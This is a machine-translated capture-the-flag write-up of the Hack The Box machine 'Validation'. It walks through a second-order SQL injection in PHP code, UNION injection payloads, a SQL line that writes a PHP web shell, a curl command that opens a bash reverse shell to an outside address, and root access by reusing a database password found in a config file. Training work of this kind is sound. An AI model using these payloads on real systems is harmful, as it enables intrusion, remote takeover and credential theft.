This page has been machine-translated from the original page.
I study security using a penetration-testing training platform called Hack The Box. At the time of writing, my Hack The Box rank is ProHacker.
This time, I am writing up the retired HackTheBox machine “Validation.”
About This Article
The content of this article is not intended to encourage actions that violate social order.
Please note in advance that attempting attacks against any environment other than one you own or have been explicitly authorized to test may violate applicable laws.
All statements here are my own and do not represent any organization I belong to.
Table of Contents
Enumeration
As usual, I started with the standard scan.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-28 22:29 JST
Warning: 10.10.11.116 giving up on port because retransmission cap hit (6).
Nmap scan report for $RHOST (10.10.11.116)
Host is up (0.40s latency).
Not shown: 992 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.48 (Debian)
5000/tcp filtered upnp
5001/tcp filtered commplex-link
5002/tcp filtered rfe
5003/tcp filtered filemaker
5004/tcp filtered avt-profile-1
8080/tcp open http nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.03 secondsA somewhat mysterious web application was running on port 80.
It seemed to be an application that automatically registers a user when you POST a username and country, then displays other users from the same country.
Since it retrieved and displayed the username, I continued the investigation from the assumption that SQLi might work.
There was also an XSS vulnerability, but it was the kind that did not lead to a shell, so I ignored it.
SQLi
I tried running sqlmap as a test, but both username and country came back as does not seem to be injectable.
python3 sqlmap.py -u "http://$RHOST/" --data "username=test&country=Ukraine"Apparently the input form does escape input values.
Second-Order SQL Injection
This application has a second-order SQL injection vulnerability.
Reference: second-order SQL injection - Garu’s Memorandum
In practice, the application was doing something like the following behind the scenes.
<?php
require('config.php');
if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {
$userhash = md5($_POST['username']);
$sql = "INSERT INTO registration (username, userhash, country, regtime) VALUES (?, ?, ?, ?)";
$stmt = $conn->prepare($sql);
$stmt->bind_param("sssi", $_POST['username'], $userhash , $_POST['country'], time());
if ($stmt->execute()) {;
setcookie('user', $userhash);
header("Location: /account.php");
exit;
}
$sql = "update registration set country = ? where username = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $_POST['country'], $_POST['username']);
$stmt->execute();
setcookie('user', $userhash);
header("Location: /account.php");
exit;
}
?>It stored POSTed values in the database through placeholders and then redirected to /account.php.
<?php
include('config.php');
$user = $_COOKIE['user'];
$sql = "SELECT username, country FROM registration WHERE userhash = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("s", $user);
$stmt->execute();
$result = $stmt->get_result(); // get the mysqli result
$row = $result->fetch_assoc(); // fetch data
echo '<h1 class="text-white">Welcome ' . $row['username'] . '</h1>';
echo '<h3 class="text-white">Other Players In ' . $row['country'] . '</h3>';
$sql = "SELECT username FROM registration WHERE country = '" . $row['country'] . "'";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
echo "<li class='text-white'>" . $row['username'] . "</li>";
}
?>In the input form in index.php, the SQL query used placeholders. However, the part in account.php that retrieved the user and country did not use placeholders.
For that reason, a second-order SQL injection vulnerability exists.
So, if you put ' in the Country input field at the time of the redirect, Faital Error appears in the browser, which tells us SQLi is likely possible.
UNION Injection
So I went ahead and actually performed the SQLi.
As you can also tell from the earlier Burp test, simply performing SQLi does not let us display the returned values.
So I used a technique called UNION injection.
UNION injection is an attack technique that uses a UNION query to poison an existing SQL query and combine its original result with the result of an arbitrary query.
You can send a query like this.
country=Brazil' UNION SELECT 1;-- -';Reference: SQL Injection Cheat Sheet | Netsparker
From here, I used UNION injection to enumerate and exploit the database.
-- Display the DB username
select user()
-- Database name
select database()
-- Enumerate schemas
select schema_name from information_schema.schemata
-- Get tables
select table_name from information_schema.tables where table_schema = '<table name>'
-- Get column information
select column_name from information_schema.columns where table_name = '<table name>'
-- Check user privileges
select privilege_type FROM information_schema.user_privileges where grantee = "<username>"
-- Write to a file (only possible if the user has FILE privilege)
select "Test" into outfile '/var/www/html/Test.txt'
-- Write a web shell
select "<?php SYSTEM($_REQUEST['cmd']); ?>" into outfile '/var/www/html/webshell.php'What mattered most here was that the database user had the FILE privilege when I displayed its privilege_type.
That means the DB user had permission to access files on the local system.
Reference: MySQL 5.6 Reference Manual: Privileges Provided by MySQL
As a result, I was able to drop a web shell via SQLi using into outfile.
After that, I could obtain the user flag by triggering a reverse shell against the web shell.
curl "http://10.10.11.116/webshell.php" --data-urlencode "cmd=bash -c '/bin/bash -l > /dev/tcp/10.10.0.0/4444 0<&1 2>&1'"Privilege Escalation
After logging in locally, I looked at config.php and found the user’s password written there.
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>With that, running su root gives you root privileges.
Conclusion
I decided to study hacking seriously, so for now I plan to keep grinding retired machines.